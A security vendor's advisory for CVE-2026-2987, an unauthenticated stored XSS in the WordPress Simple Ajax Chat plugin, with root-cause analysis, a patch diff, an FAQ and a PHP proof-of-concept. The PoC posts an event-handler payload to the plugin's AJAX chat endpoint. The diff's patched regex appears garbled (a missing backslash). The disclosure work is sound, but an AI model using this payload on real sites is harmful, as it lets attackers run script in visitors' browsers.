Atomic Edge analysis of CVE-2026-2987: The root cause is insufficient input sanitization and output escaping in the Simple Ajax Chat plugin’s client-side link generation function, `make_links()`, located in `/simple-ajax-chat/resources/sac.php`. The vulnerable regular expression, `/((http|https|ftp)://[^ ]*)/gi`, matches a URL until a space character. This allows an attacker to inject a malicious payload after a valid URL scheme but before a space, as the trailing characters become part of the constructed anchor tag’s `href` attribute. The exploitation method involves an unauthenticated POST request to the plugin’s chat submission endpoint, typically via `wp-admin/admin-ajax.php` with the `action` parameter set to `sac_process_chat`. The vulnerable parameter is `c` (the chat message). A payload like `http://example.com” onmouseover=”alert(‘XSS’)` would be processed. The regex matches `http://example.com” onmouseover=”alert(‘XSS’)` as the URL, and the replacement creates an anchor tag with a malformed `href` attribute containing the injected event handler. The patch changes the regex to `/((http|https|ftp)://[^s'”%]*)/gi`. This excludes whitespace, single quotes, double quotes, and percent signs from the matched URL segment, preventing the injection of characters that would break the attribute context. The patch also changes the link’s `rel` attribute and declares the `text` variable with `var`. If exploited, this stored XSS vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into chat messages. The script executes in the browsers of any user who views a page containing the malicious chat log.

CVE-2026-2987: Simple Ajax Chat <= 20260217 – Unauthenticated Stored Cross-Site Scripting via 'c' (simple-ajax-chat)
CVE-2026-2987
simple-ajax-chat
20260217
20260301
Analysis Overview
Differential between vulnerable and patched code
--- a/simple-ajax-chat/resources/sac.php
+++ b/simple-ajax-chat/resources/sac.php
@@ -196,8 +196,8 @@
// links
function make_links(s) {
- var re = /((http|https|ftp)://[^ ]*)/gi;
- text = s.replace(re, '<a rel="external nofollow" href="$1" class="sac-chat-link">«link»</a>');
+ var re = /((http|https|ftp)://[^s'"%]*)/gi;
+ var text = s.replace(re, '<a target="_blank" rel="noopener noreferrer" href="$1" class="sac-chat-link">«link»</a>');
return text;
};
--- a/simple-ajax-chat/simple-ajax-chat.php
+++ b/simple-ajax-chat/simple-ajax-chat.php
@@ -10,8 +10,8 @@
Contributors: specialk
Requires at least: 4.7
Tested up to: 6.9
- Stable tag: 20260217
- Version: 20260217
+ Stable tag: 20260301
+ Version: 20260301
Requires PHP: 5.6.20
Text Domain: simple-ajax-chat
Domain Path: /languages
@@ -36,7 +36,7 @@
if (!defined('ABSPATH')) exit;
if (!defined('SIMPLE_AJAX_CHAT_WP_VERS')) define('SIMPLE_AJAX_CHAT_WP_VERS', '4.7');
-if (!defined('SIMPLE_AJAX_CHAT_VERSION')) define('SIMPLE_AJAX_CHAT_VERSION', '20260217');
+if (!defined('SIMPLE_AJAX_CHAT_VERSION')) define('SIMPLE_AJAX_CHAT_VERSION', '20260301');
if (!defined('SIMPLE_AJAX_CHAT_NAME')) define('SIMPLE_AJAX_CHAT_NAME', 'Simple Ajax Chat');
if (!defined('SIMPLE_AJAX_CHAT_HOME')) define('SIMPLE_AJAX_CHAT_HOME', 'https://perishablepress.com/simple-ajax-chat/');
if (!defined('SIMPLE_AJAX_CHAT_FILE')) define('SIMPLE_AJAX_CHAT_FILE', __FILE__);
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2987 - Simple Ajax Chat <= 20260217 - Unauthenticated Stored Cross-Site Scripting via 'c'
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
// The payload uses a valid URL scheme followed by a double quote and an event handler.
// The vulnerable regex matches up to the space, making the quote part of the href attribute.
$payload = 'http://example.com" onmouseover="alert(document.domain)';
$post_data = array(
'action' => 'sac_process_chat', // The plugin's AJAX action hook.
'c' => $payload, // The vulnerable chat message parameter.
'sac_nonce' => 'dummy_nonce' // Nonce may be required; check if validation is present.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
?>
Frequently Asked Questions
What is CVE-2026-2987?
Understanding the vulnerabilityCVE-2026-2987 is a medium severity vulnerability in the Simple Ajax Chat plugin for WordPress. It allows unauthenticated stored cross-site scripting (XSS) through the ‘c’ parameter, enabling attackers to inject malicious scripts that execute in the browsers of users who view the chat.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization in the plugin’s link generation function. Attackers can submit a chat message containing a crafted URL followed by an event handler, which gets stored and executed when other users access the chat.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Simple Ajax Chat plugin version 20260217 or earlier is affected. Administrators should check their plugin versions against the patched version 20260301 to determine if they need to take action.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the Simple Ajax Chat plugin installed. If it is version 20260217 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe recommended fix is to update the Simple Ajax Chat plugin to version 20260301 or later, which contains the necessary patches to prevent this vulnerability. Regularly updating all plugins is crucial for maintaining site security.
What does the CVSS score of 6.1 indicate?
Understanding severity levelsA CVSS score of 6.1 indicates a medium severity level, suggesting that while the vulnerability is serious, it may not be as critical as high-severity vulnerabilities. However, it still poses a significant risk, especially in environments where user trust is essential.
What practical risks does this vulnerability pose?
Potential impacts on usersIf exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of the user’s browser. This could lead to data theft, session hijacking, or other malicious activities affecting users who interact with the chat.
What is a proof of concept (PoC) in this context?
Demonstrating the vulnerabilityA proof of concept (PoC) is a demonstration that shows how the vulnerability can be exploited. In this case, the PoC illustrates how an attacker can send a crafted chat message that executes a JavaScript alert when viewed by other users.
How does the patch address the vulnerability?
Changes made in the updateThe patch modifies the regular expression used for URL matching to exclude characters that could allow injection of malicious payloads. This change prevents attackers from crafting URLs that include event handlers or other harmful scripts.
What should I do if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updating is not possible, consider disabling the Simple Ajax Chat plugin until a patch can be applied. Additionally, review user permissions and restrict access to the chat functionality to minimize exposure.
Are there any other security measures I should take?
Enhancing overall site securityIn addition to updating plugins, regularly review all installed plugins and themes for vulnerabilities, implement a web application firewall, and conduct security audits to protect your WordPress site from various threats.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2987 can be found on the National Vulnerability Database (NVD) or through security advisories published by WordPress security experts. Staying informed about vulnerabilities is key to maintaining site security.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






